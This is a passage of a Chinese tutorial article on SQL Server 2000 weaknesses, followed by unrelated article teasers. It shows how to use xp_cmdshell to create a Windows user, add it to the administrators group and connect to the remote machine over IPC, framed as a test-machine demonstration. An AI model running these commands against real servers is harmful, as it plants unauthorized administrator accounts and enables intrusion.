常见SQL Server 2000漏洞及其相关利用（2）
来源：yesky 发布时间：2007-10-01 14:45:00
标签：sql,sql,server,漏洞
2)、如图3所示，在查询窗口中输入：exec xp_cmdshell 'net user user1 /add'，按 执行，如果出现图4"命令成功完成"的提示说明执行成功。
3)、接着如图5所示，输入exec xp_cmdshell 'net localgroup administrators user1 /add'，执行成功后出现图5的提示说明。
图3
图4
图5
上边输入的 net user user1 /add 和 net localgroup administrators user1 /add是不是很眼熟?它们就是我们上面用过的windows系统下的标准命令。图6可以看出user1已增加到管理员administrators组中。
图6
看到这明白了吧!通过功能强大的SQL Server可以做Windows系统管理员能做的事。上面通过SQL Server建立用户的实验是我从本机远程连接到测试机的SQL Server，增加了用户，图7是用刚建立的用户user1和远程计算机建立的ipc连接，这时要进入这台机器就是易如反掌的事了。接下来的的安全知识自己查查吧，网上非常多的。
图7
0
投稿猜你喜欢
整本书围绕着一个叫做“CSS禅意花园”的网站展开，其实N久之前我在一份外国的关于CSS的在线教程上看到了这个网站的链接，可惜进去之后发现内容- 了兑现我对大家的承诺，我们现在立即就将“借助数据库和ASP程序”编写出来的，可以同时适用于IIS和P
- XML的嵌套处理 一般情况下，我们从数据库中查询得到的结果集可能很大，所以从服务器返回到客户端时，数据会被分成若干个页面分别进行传递。此时，
- 由于这两天换了IDE，在导入以前的工程的时候发现了一个大问题，由于以前脑残的我不知道改编码方式，导致出现了大量的GBK，这就很难受，要是一个
- 如果用到数据筛选功能，可以使用x if condition else y的逻辑实现。如果使用的是纯Python，可以使用不断迭代的方式对每一
- 目录前言第一步：查看所有 SSH-Key第二步：生成一个 ssh-key，用于配置公司的 GitLab第三步：Github 生成一个 SSH
- 本文实例讲述了python+Django+apache的配置方法。分享给大家供大家参考，具体如下：下载安装xampp套件下载mod_pyth
- 常用的四种SQL命令：1.查询数据记录(Select)语法：Select 字段串行 From table Where 字段=内容例
- PyCharm是一种Python IDE，带有一整套可以帮助用户在使用Python语言开发时提高其效率的工具，比如调试、语法高亮、Proje
- 起因 前几天去国图拍了一本书,一本心理学方面的书,也许你问我为什么不去买一本,或者去网上找pdf。 其实吧,关于心理学方面的书可以说在市面上
- 前言前面写过一篇用Python制作PPT的博客，感兴趣的可以参考用Python制作PPT这篇是关于用Python进行数据可视化的，准备作为一
- Residual BlockResNet中最重要的组件是残差块（residual block），也称为残差单元（residual unit）
- 还是用图说话A文件：比如，我想筛选出“设计井别”、“投产井别”、“目前井别”三列数据都为11的数据，结果如下：当然，这里的筛选条件可以根据用
- 本文内容速览1、绘图数据准备还是使用鸢尾花iris数据集#导入本帖要用到的库，声明如下：import matplotlib.pyplot a
- HTTP、HTTPS协议下session共享解决cookie失效 的办法：（也许不是最好的，但是实用）原理就是把session id设置到本
- 很多人都已经把 Javascript的用的炉火纯青了，但见到defer未必就知道他是做什么用的；很多人也都遇到过这样的问题，需要直接执行别且
- 0. 前言周日在爬一个国外网站的时候，发现用协程并发请求，并且请求次数太快的时候，会出现对方把我的服务器IP封掉的情况。于是网上找了一下开源
- 一，子选择基本用法 1，子选择的定义 子迭择允许把一个查询嵌套在另一个查询当中。比如说：一个考试记分项目把考试事件分为考试（T）和测验（Q）
- 前言在我们使用线程池控制线程运行时，或者是写爬虫时不停发送request获取地址，都需要我们对运行的线程加以控制。有这样一种场景，当你写入一
- 起因修改了表结构以后执行python3 manage.py migrate 报错:django.db.utils.OperationalEr
